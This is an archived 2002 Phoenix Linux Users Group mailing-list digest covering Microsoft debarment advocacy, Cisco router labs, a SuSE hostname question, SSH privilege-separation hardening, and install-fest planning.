Just looked at your earlier post about Maricopa County rules as well. Those also don't require debarment :(. I would presume this means that m$ isn't automagically debarred, rather only that the gov't now has cause to debar m$ if the gov't so chose. Now we have to convince them to debar m$ for their illegal activities. That's something that should've happened more than 10 years ago the first time m$ was on trial for anti-trust violations. Were they actually convicted that time or did they plea bargain out of it? ciao, der.hans > B. The causes for debarment or suspension include the following: > 3. Conviction or civil judgment finding a violation by any > person or any subsidiary or affiliate of any person under > state or federal antitrust statutes. > > www.mpsaz.org/purchasing/protest.pdf > > Same as before - Schools may debar anti-trust violators. > > =================================================================== > Same thing for ASU: > www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > > =================================================================== > Same thing for the State: > http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > > =================================================================== > > > Tom Emerson is right - there is not much originality from one government > agency to the next in Arizona - they all pretty much copy the same text > and format. > > Let the letter writing begin!!! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:29:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 14:29:07 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> Message-ID: <005701c21d58$838ba5d0$0301010a@tickticker.com> I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting on my shelf now (i use 2600s to study and as my edge router). if anyone would like me to set up a lab or borrow or buy one off me that would be fine. I also have a cisco login that gets me any ios. just passed my ccie written. anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Wednesday, June 26, 2002 1:04 PM Subject: Re: Router Simulator > Bob George wrote: > > > Raymond Cantwell wrote: > > > >> I was wondering if anybody new where i could get a Cisco router > >> simulator that ran under Linux. I have one for my wifes M$ box but, > >> need one for my linux box so i can use it outside of the house. > > > > > > I'm not sure about simulators, but you can make your Linux box into a > > live router using Zebra. Zebra uses a very Cisco-like interface. Me > > and some pals hooked up our home systems via Zebra to create the > > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > > for our little distributed routing lab. I had my Linux box and five > > routers, another guy had a Cisco router and another only a Linux box. > > We were able to set up some sophisticated BGP routing scenarios that > > helped me ace that portion of the CCNP exams. > > > > If you have a handful of Linux boxen, or even VMware, Zebra can help > > add complexity to your routing scenarios. What's more, it's the "real > > thing", so you wind up with more of an idea of the "real world" than > > with many simulators. BGP wasn't really interesting until we had 7 or > > 8 routers and a few ASen going. You can easily miss the finer points > > of route redistribution with only 2 or 3 routers. > > > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > > separate message to Derek in this thread. > > > > - Bob > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Bob thank you the lab will be very helpfull. You rock man. > Ray > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:46:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 14:46:17 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206261446.17057.zen2now@qwest.net> thx for the response, i tried the hostname from cli, but it will not change the machines hostname. it only makes the change AFAIK, to the hostname listed when entering #hostname. i have yet to rgrep etc, i am caught in a battle with netsaint's cgi permissions. but thats another issue, and if your interested in that issue i can give you the low down on it. slr On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > Am 26. Jun, 2002 schwätzte slr so: > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > my hostname without using YaST. i made the change in /etc/hosts and > > /etc/HOSTNAME, but there seems to be another file, or other files that > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > effect on the machines hostname. just a little curious as to where the > > "Real Hostname" is located. BTW this is my first time really working with > > SuSE, RH and MDK have been my flavors of choice. > > Use the hostname command to change the active hostname. > > rgrep for the hostname in etc. You should find that at least your MTA has > the hostname hard-coded as well. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 14:43:50 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) In-Reply-To: <3D1A0A27.10207@ttlexceeded.com> References: <3D1A0A27.10207@ttlexceeded.com> Message-ID: <200206261444.02761.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 11:38 am, Bob George wrote: > Anyhow, I'm running Debian and just did an apt-get dist-upgrade to > OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* > covered by nmap by default. I think I'm in pretty good shape, but wanted > to check with others and see if there are any other recommendations > (short of shutting it off). You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. The key is that it now supports privilege separation which should trap them in a little box where they can't do anything. To enable this, add the following line to your sshd config file. UsePrivilegeSeparation yes - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GjWgpNoctRtUIRQRAoW0AJwOAFyHaqINkNYLePFNl94UESotJQCcCxKh R3jItIem0CD/HrpNELqBU+4= =+a36 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:23:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:23:41 -0700 Subject: Looking for..... Message-ID: <5.1.0.14.0.20020626162304.00a56890@localhost> Jim Woodhull. You left a message with me but I can't dial the number given. Call me 602-375-5363 Kimi Adams Unity Wave From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:19:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Wed, 26 Jun 2002 16:19:44 -0700 Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:31:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:31:08 -0700 Subject: First Crack at a Post Mortem In-Reply-To: <20020624182048.5CF611BD74@autumn.unitywave.com> Message-ID: <5.1.0.14.0.20020626162832.00a595b0@localhost> Very nicely put. I would only add that in the future, we make sure that there are more than ample power strips. Once the room fills up, it's hard to get more power without them. And if this is the only problem we encounter, then we are doing well above other groups that organize events like this. : ) To all, a job well done. I think we are all looking forward to another event and soon. Kimi Adams At 6/24/02, you wrote: >I am including it. I will put this up on the main Install Fest page, before >the Press Release when everyone agrees that this is appropriate. I am also >going to update the Contributors page to add Lycoris, TOLIS, and UnityWave. > >Lemme know what you think of this as a post mortem. > >---------- > >Does the word "success" ring a bell? Parking Lot A at SCC was nearly >deserted at 8:30 a.m. The Student Center was locked and dark. By 9:00 >a.m. the Turquoise Room was filled with PLUG members setting up the room >for an unknown number of "customers". I was under the impression that all >of our communications with the outside world said that the Install Fest >would run from 10:00 a.m. till 4:00 p.m. That did not stop "customers" from >coming in early - or often. >

>The only problem that we encountered was finding table space to put all of >the machines that were brought in to have Linux installed on. It seemed to >me that by 10:30 or 11:00 we were scrambling to find a place for a customer >and his PLUG installer to set up. That problem continued well into the >afternoon hours. That was about the only problem that we encountered. >Okay, there was a need for a blank floppy for a network install but who >uses floppies any more? >

>There seemed to always be PLUG members ready and willing to help with the >next install. During those "down" times, they spent a lot of time answering >questions and helping to resolve issues. The presentations that were held >in the Peridot Room seemed to go very well. I overheard a lot of comments >and they were all extremely positive. The giveaways, as always, went >over very well. Without the support of the vendors, we would never be >able to show the newbies that Linux is about giving and sharing by >giving away so many goodies. Only the RMS video in the hallway met with >less than stellar success, but that may be a result of the location. >

>So what were the numbers? There were 107 people who signed in. There were >somewhere between 150 and 200 raffle tickets that disappeared from the end >of the roll. There were 39 installs. I know of at least two installs that >were not completely successful, but I know that one was a hardware issue. >That boils down to over six installs per hour - and that is an impressive >number. >

>Who do we need to thank? This could be a very long list. We >should start with the Install Fest Committee. Bill, Dennis, Alan, Hans, >Thurm, and Vic did a great job in covering all of the contingencies. I >want to single out Thurm for providing the facilities at SCC. His head is >an appropriate repository for the Red Hat fedora, because without the >facilities the Install Fest would not have been as successful. >

>We need to thank the vendors who supported the PLUG Install Fest. You can >see the list of all the supporters by clicking on the Contributors link >above (it has been updated to reflect the late-commers because they >deserve mentioning). I want to single out Red Hat and Lycoris. Not only >did they supply merchandise for the giveaways but they also had personal >representatives down in the trenches doing installs and answering >questions. A tip of Thurm's new fedora to both Red Hat and Lycoris. >

>But I reserve the biggest THANK YOU to all the PLUG members who showed up >to help doing the installs. Maybe we could have done the installs without >being in the comfortable confines of the Turquoise Room. Maybe we would >have had a superb turnout of customers without the tons of giveaways. But >I guarantee that the whole event would have been a miserable experience if >the hordes of PLUG members that did the installs and answered the questions >and showed the newbies how to get more information and told them how PLUG >was always ready to support them were not there. To each and every one of >you, stand up and take a bow. >

>We did learn a few valuable lessons. We learned that we need to find a way >to keep a better count of people, members, customers, and window-shoppers. >We learned that we need to be prepared for a LOT of customers. We learned >that we should be getting more information from the customers, especially >things like where they heard about the event, what OS they are >replacing or adding to, and what kinds of things they will be using the >Linux computer for. >

>I know that there are a lot of members who were not at the Install Fest. >For you, we have a couple of links to pictures taken at the Install Fest. >The first one is from Thurm. See them at >http://inficad.com/~thurmunit/plug/installfest. Scott Sawyer from Red Hat >has a large collection of pictures that he took at the Install Fest. See >them at http://www.scottsawyer.org/photo-display/index.cgi under the 2002 >year archives. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:33:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 16:33:54 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> <005701c21d58$838ba5d0$0301010a@tickticker.com> Message-ID: <3D1A4F62.5060909@ttlexceeded.com> tickticker wrote: >I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting >on my shelf now (i use 2600s to study and as my edge router). if anyone >would like me to set up a lab or borrow or buy one off me that would be >fine. I also have a cisco login that gets me any ios. just passed my ccie >written. > Ah nice! You should DEFINITELY set up a lab. I keep hoping to get the Cisco Self-Study Cooperative going. My CCIE is on hold until the market straightens out, but I'll be going for Security then. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:51:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 26 Jun 2002 16:51:18 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> References: Message-ID: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Kimi's thoughts and vision: I came to this group because I inherited the job of making an ISP we bought work. They used Linux on the servers. I was used to DOS and easily took over some of the challenges we were facing. However, when it came to finding out more, it was hard to know who to talk with. It was even harder trying to talk with people at companies in the phone book about Linux, which I was using Red Hat at the time. I had a problem once and had to find someone to fix it and ended up with an out of state company. I soon started looking for others to talk with. I found PLUG because of someone sending me an email. I subscribed, then got busy and got unsubscribed. I later needed help again and I spoke with Jiva, who helped me in like 10 minutes. Wonderful person, Jiva is. I joined the listing again and started really paying attention. The reason that I stay and the reason that I feel a database of some sort will help is because if you need information, people aren't always sitting on the mailing list waiting to help. Not that this list has every not responded rapidly, but just that sometimes it takes time and effort to read emails and such. Where if there were a database, easily searchable, it would help to know that the person's information is right there. Like looking for stuff on Google. When we talk about what PLUG is or it does or how it helps people, it's about being a member anyway. You are a member of a list, you email members and you talk with members all the time. The difference is that since PLUG is getting a lot more attention, for those others out there that do not subscribe to the list, there needs to be more of an easy way to access this information. Some people don't want to post because they feel stupid having 400 people see their post. Even though this list has time and time again stated that this is what we are here for, that mentality is still out there. When I help people, they are actually surprised and very glad that we help for free and talk about stuff willingly that will help them. It's just my thoughts and it may not fit everyone, but the group as a whole needs this kind of interaction in a database for the community. The group is over 400 people and that is a lot of help. That is a lot of information to know in your head about everyone. If you don't want to sign up for anything, then it's a choice you make. Just like deleting emails you don't have an interest in. But for those that need help and do not want to subscribe just to post emails, it's a way to expose our group further and gain more attention, in a database format. : ) Onward............. Kimi Adams Unity Wave At 6/26/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >On Wednesday 26 June 2002 09:35 am, Derek Neighbors wrote: > > I will start an old war here. I would love to see PLUG have a membership > > database, that let people list their specialities etc.. This would be > > nice so that if we wanted to ever do mailings for things like install > > fests guest speakers and such, but more importantly if someone says "I > > want to install Free BSD on an AMIGA" (or something) we could help find > > someone who might have experience in that. > > > > More over, it would be nice to have people coming to the install fests > > sign up so we could do adequate followup and inform them of training and > > the likes. > >How would this be significantly different from a posting to the PLUG mailing >list? An expert who sees the title "Free BSD on an AMIGA" is just as >likely to volunteer with or without being registered. Additionally, please >lose and gain skills constantly, but probably do not wish to maintain a >PLUG profile (at least, I don't particularly care to). > >About the install-festees (can we call them that?), I am also in favor of >the earlier suggestion that they sign onto the mailing list through a >"subscriber box" while they are present. This way the followup and >announcements would be along the lines of 30-50 messages a day! Certainly >that is enough. ;-) > >It is a good idea, I just don't see it as being necessary given the nature >of the PLUG mailing list. > >- -- > Logan Kennelly > ,,, > (. .) >- --ooO-(_)-Ooo-- >-----BEGIN PGP SIGNATURE----- >Version: GnuPG v1.0.6 (GNU/Linux) >Comment: For info see http://www.gnupg.org > >iD8DBQE9GfS9pNoctRtUIRQRArolAJ9P/In24vvFRWjYE/Fd6MbEl9QaiACghQcu >7JXOEtj1qTBgP/1cPCDVp3c= >=A328 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:45:58 -0400 Subject: SuSE 7.3 sparc64 References: <200206261446.17057.zen2now@qwest.net> Message-ID: <3D1A5236.D4ED84DC@georgetoft.com> Look in /etc/rc.config - you should use YaST to edit this file. George slr wrote: > > thx for the response, > > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. > > slr > > On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > > Am 26. Jun, 2002 schwätzte slr so: > > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > > my hostname without using YaST. i made the change in /etc/hosts and > > > /etc/HOSTNAME, but there seems to be another file, or other files that > > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > > effect on the machines hostname. just a little curious as to where the > > > "Real Hostname" is located. BTW this is my first time really working with > > > SuSE, RH and MDK have been my flavors of choice. > > > > Use the hostname command to change the active hostname. > > > > rgrep for the hostname in etc. You should find that at least your MTA has > > the hostname hard-coded as well. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 23:59:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 19:59:17 -0400 Subject: Doing the Right Thing (revisited) References: Message-ID: <3D1A5555.AD51C941@georgetoft.com> Technologically superior products have nothing to do with success. To wit: Windows vs Unix, Beta vs VHS, Minidisc vs anything, PowerPC vs. i386. "To be provided a weapon to use in a fight and not use it is foolish." (some US Army hand-to-hand combat manual) To Hans' point - we know the governments have a debarment process, now we must act to get them to consider debarment. Even if the end result is that they choose to keep everything as it is, our voices will have been heard. The seeds of doubt will have been planted. Many organizations are deeply entrenched in Microsoft technology, and most people fear change, so they will not want to change. Guess what? Some of these people we need to write to are elected officials, and we can influence their future employment. That is a powerful motivator. George Jiva DeVoe wrote: > > Sacred cows about to be slaughtered! Beware! > > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. > > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. > > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. The governing board has the authority to debar or suspend a > >> person from participating in school district procurements. > > > > OK, this says they can debar a company, but doesn't require them to do so. > > > > Just looked at your earlier post about Maricopa County rules as well. Those > > also don't require debarment :(. > > > > I would presume this means that m$ isn't automagically debarred, rather only > > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > > to convince them to debar m$ for their illegal activities. That's something > > that should've happened more than 10 years ago the first time m$ was on > > trial for anti-trust violations. Were they actually convicted that time or > > did they plea bargain out of it? > > > > ciao, > > > > der.hans > > > >> B. The causes for debarment or suspension include the following: > >> 3. Conviction or civil judgment finding a violation by any > >> person or any subsidiary or affiliate of any person under > >> state or federal antitrust statutes. > >> > >> www.mpsaz.org/purchasing/protest.pdf > >> > >> Same as before - Schools may debar anti-trust violators. > >> > >> =================================================================== > >> Same thing for ASU: > >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > >> > >> =================================================================== > >> Same thing for the State: > >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > >> > >> =================================================================== > >> > >> > >> Tom Emerson is right - there is not much originality from one government > >> agency to the next in Arizona - they all pretty much copy the same text > >> and format. > >> > >> Let the letter writing begin!!! > >> > >> George > >> ________________________________________________ > >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > >> to the list quickly and you use Netscape to write mail. > >> > >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 00:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 26 Jun 2002 17:01:54 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Jim, regarding educational software intended for use by school age children, have you reviewed what is available today? (... I speak without having looked too closely myself!!) Recall that there are a handful of public school districts around the country switching over to a Linux dominated desktop computing environment this summer. In my opinion, you are spot-on about the better platform, at least regarding the desktop. I use a basic KDE most of the day, and am an advocate. Trouble is, the MS desktop just plain looks better. Look & feel issues still dampen the urge to switch to a Linux desktop. It's getting closer, maybe next quarter it'll be more evenly matched? At least maybe the darn fonts will improve sometime soon, this seems to be the most in-your-face issue. My linux desktop fonts look great (my desktop installs have been 'adjusted'), but, fresh from the red box, the fonts are quite ragged. Back to the use of Linux desktop systems in schools. My wife and I were required to sign an agreement at my son's school regarding his use of school computer systems. Taking what was on that agreement to an almost silly maximum, it leaves us with a civil liability exposure should our son inadvertantly open a virus-ladened email which in turn infects school computers. I am quite certain that if my son were to inadvertently open a virus ladended email and subsequently infect school computers, there would not be any consequenses (other than the school IT department scrambling to clean the infected systems!), but the agreement we signed doesn't quite read that way. Point is, I know that Linux desktops can be tightly locked down to prevent curious kids from exploring into an area where they might get themselves into trouble. Contrast this to Windows desktop systems that are trivial to comprimise by simply clicking on a URL! My nightmare is that my kid is found to be culpable for comprimising school systems, without intentionally doing something he knows he should not do. - tom e. ---------- On Wed, 26 Jun 2002, Jiva DeVoe wrote: Sacred cows about to be slaughtered! Beware! Perhaps instead of spending all this energy on trying to come up with ways to fight MS legally (which MS will win anyway) why not spend this energy making Linux the better platform to choose for the applications instead of MS? Then you win for the *right reason*. Frankly, I for one cannot in good conscience recommend that Linux is the right platform for my children to use in school until Linux has better educational games and is easier to use. And forcing a choice on someone because of political motivations is no better than what MS does. On 6/26/02 1:55 PM, "der.hans" wrote: > Am 25. Jun, 2002 schwätzte George Toft so: > >> While searching for more debarment guidelines, I came across these >> tidbits: >> =================================================================== >> Title 7, Ch. 2 Arizona Administrative Code >> State Board of Education >> >> R7-2-1161. Authority to debar or suspend >> A. The governing board has the authority to debar or suspend a >> person from participating in school district procurements. > > OK, this says they can debar a company, but doesn't require them to do so. > > Just looked at your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:13:41 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261446.17057.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname As listed in the manpage: hostname - show or set the system's host name That should work for a running system. George is right that the system probably gets the name from /etc/rc.config at boot time. > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. Bring it up on list. Some of us have struggled with netsaint, so might be able to help you. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Wed, 26 Jun 2002 18:01:03 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626163527.00a52ec0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <20020627010103.GO8953@ecloud.org> Isn't there an announce list? If the membership of this list were exposed to its members (which I see right now it isn't - only the admin can see this) then you'd basically have an email list. Maybe this could be augmented with a database which maps the emails to some web links. Every member could modify this mapping to link the email to a "my involvement with PLUG" type page, and some software could be set up on the PLUG web server to optionally host those pages there instead of on members' own web servers, for those who don't have their own. Your password for your mailing list membership should be re-used to grant you access to edit your automatically-created default member page. Sounds like a job for Zope or something doesn't it? If you separate the membership database from the mailing list, then it is not self-maintaining, nobody will care very much about keeping it up to date and soon it will not be. Witness the shortness and age of this page: http://plug.phoenix.az.us/membersites.shtml for proof of that. See how many links you can still follow. I believe I sent in email to notify the web master that my link is way out of date, but never got a response. But if members can maintain their own links at the same time they manage their list subscriptions, then it will tend to stay up-to-date. Which means of course that this ought to be a Mailman feature, ideally. Every member of any list ought to be able to put a URL next to his name on the "member list" page. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 18:05:50 -0700 Subject: (no subject) Message-ID:

I think the next Install-Fest should showcase a Windoze machine side-by-side with a Linux box to show any "Newbies", or those looking at Linux for the first time as a viable alternative, the advantages of the Linux OS over the "other product".   Let's say I'm the "new guy" and I'm faced with possibly selling an office conversion to the boss and I want to see what "counter-part" is available in Linux and how it stacks up against my Bill Gates mind melder.  I could possibly walk away with a fresh new perspective on speed, performance, and reliability.  I know there are many different variables involved, but the office-related basics are still there.   Just a thought.

